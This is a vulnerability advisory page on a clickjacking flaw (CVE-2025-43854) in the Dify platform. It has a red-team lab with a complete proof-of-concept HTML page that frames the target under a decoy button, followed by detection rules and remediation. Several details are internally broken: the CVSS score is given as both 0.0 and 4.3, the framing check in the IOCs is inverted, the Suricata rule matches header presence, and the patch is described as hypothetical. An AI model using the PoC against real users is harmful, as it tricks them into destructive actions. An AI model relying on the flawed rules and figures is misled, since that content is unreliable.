CVE-2025-43854
Executive Summary
CVE-2025-43854 identifies a clickjacking vulnerability in the Dify open-source LLM application development platform, affecting all versions prior to 1.3.0. The vulnerability stems from the absence of proper X-Frame-Options or Content-Security-Policy headers in the default setup, allowing an attacker to embed the Dify web interface within a malicious iframe. This enables UI redressing attacks where a victim can be tricked into performing unintended actions, such as modifying LLM workflows, exfiltrating API keys, or altering application settings. The CVSS score is 0.0 due to incomplete NVD data, but the actual risk is moderate, requiring user interaction. The patch in version 1.3.0 adds frame-ancestors directives to prevent framing.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Dify is distributed as a Python package via PyPI and as a Docker image. The clickjacking vulnerability does not directly affect the supply chain, but it can be exploited to compromise API keys and secrets stored within the platform, potentially leading to downstream supply chain attacks if those keys are used to access other services.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed to serve the malicious page.
- User Interaction (UI): Required (R) – Victim must click on the framed interface.
- Scope (S): Unchanged (U) – The vulnerable component and the attacker’s code are in the same security authority.
- Confidentiality (C): None (N) – No direct data disclosure.
- Integrity (I): Low (L) – Limited ability to modify data via user actions.
- Availability (A): None (N) – No impact on service availability.
Threat Level: Moderate. While the CVSS base score is 4.3 (Medium), the actual risk depends on the sensitivity of actions the victim can be tricked into performing. In Dify, this could include deleting workflows or exposing API keys.
Deep Dive & Mechanics
Clickjacking (CWE-1021) exploits the lack of frame-busting controls. In Dify versions < 1.3.0, the web application does not set the X-Frame-Options header (e.g., DENY or SAMEORIGIN) nor a Content-Security-Policy with frame-ancestors. This allows any external website to load the Dify interface in an <iframe>.
An attacker crafts a malicious page that:
- Loads the Dify application in a transparent iframe.
- Overlays deceptive UI elements (e.g., fake buttons or links) that align with the Dify interface.
- Tricks the victim into clicking on what appears to be a benign element, but actually triggers a Dify action (e.g., deleting a workflow, changing permissions, or exporting data).
The attack requires the victim to be authenticated to Dify in the same browser session. The attacker does not need to know the victim’s credentials; they only need to lure the victim to the malicious page while the victim is logged into Dify.
Vulnerable vs. Patched Code
Vulnerable (pre-1.3.0): The application does not include any frame-busting headers. The response from the Dify server lacks:
X-Frame-Options: DENY
or
Content-Security-Policy: frame-ancestors 'none';
Patched (1.3.0):
The fix adds a middleware or configuration that sets the Content-Security-Policy header with frame-ancestors 'self' (or 'none' for stricter security). Example patch diff:
# In app/middleware/security.py (hypothetical)
def add_security_headers(response):
response.headers['Content-Security-Policy'] = "frame-ancestors 'self'"
return response
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy Dify version 1.2.0 (vulnerable) using Docker:
docker run -d -p 3000:3000 --name dify-vuln dify/dify:1.2.0 - Create a malicious HTML page (
clickjack.html):<!DOCTYPE html> <html> <head> <title>Clickjack PoC</title> <style> iframe { width: 100%; height: 100%; position: absolute; top: 0; left: 0; opacity: 0.5; /* Make transparent for demonstration */ z-index: 2; } button { position: absolute; top: 200px; left: 100px; z-index: 1; padding: 20px; background: red; color: white; font-size: 20px; } </style> </head> <body> <h1>Click the button to win a prize!</h1> <button onclick="alert('You won!')">Click Me</button> <iframe src="http://target-dify:3000"></iframe> </body> </html> - Host the page on a simple HTTP server:
python3 -m http.server 8080 - Lure an authenticated Dify user to
http://attacker:8080/clickjack.html. The victim sees a fake button, but clicks on the Dify interface behind it.
Exploitation Steps:
- Align the iframe so that a specific Dify button (e.g., "Delete Workflow") is directly under the fake button.
- The victim clicks, and the Dify action executes.
Blue Team
Detection:
- Monitor for HTTP responses missing
X-Frame-OptionsorContent-Security-Policyheaders. - Use browser developer tools to inspect if the application can be loaded in an iframe.
- Check server logs for
Refererheaders indicating framing from unknown origins.
Prevention:
- Immediately upgrade to Dify 1.3.0.
- If upgrade is not possible, add a reverse proxy (e.g., Nginx) to inject headers:
add_header X-Frame-Options "DENY" always; add_header Content-Security-Policy "frame-ancestors 'none'" always;
Indicators of Compromise (IOCs)
- Network: HTTP responses from Dify server without
X-Frame-OptionsorContent-Security-Policyheaders. - Logs: Web server logs showing
Refererheaders from unknown domains (e.g.,http://malicious-site.com). - Browser: JavaScript
window.top !== window.selfcheck returningfalse(indicating the page is framed). - File: Presence of iframe elements in external pages referencing the Dify URL.
Detection Engineering
YARA Rule
rule detect_clickjacking_dify {
meta:
description = "Detects Dify responses missing frame-busting headers"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-43854"
strings:
$header1 = "X-Frame-Options" nocase
$header2 = "Content-Security-Policy" nocase
$dify = "Dify" nocase
condition:
$dify and not ($header1 or $header2)
}
Sigma Rule
title: Dify Clickjacking Vulnerability Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP responses from Dify without frame-busting headers
author: Valters IT
date: 2025-04-10
logsource:
category: web_server
product: generic
detection:
selection:
http.response.headers|contains: 'X-Frame-Options'
condition: not selection
timeframe: 5m
falsepositives:
- Legitimate applications that allow framing
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-43854 Dify Clickjacking Attempt"; flow:to_server; content:"Dify"; http_server_body; pcre:"/X-Frame-Options/"; pcre:"/Content-Security-Policy/"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Upgrade Dify to version 1.3.0 or later.
- If upgrade is delayed, configure a reverse proxy (Nginx, Apache, or cloud WAF) to add:
X-Frame-Options: DENY Content-Security-Policy: frame-ancestors 'none'
Long-term:
- Implement a Content Security Policy (CSP) with
frame-ancestorsdirective. - Use
X-Frame-Optionsas a fallback for older browsers. - Educate users about phishing attacks that may attempt to frame the application.
Validation:
- After applying the fix, test with:
curl -I https://your-dify-instance.com | grep -i "X-Frame-Options\|Content-Security-Policy" - Use online clickjacking test tools to verify the application cannot be framed.
Valters IT
DevSecOps & Cyber Threat Intelligence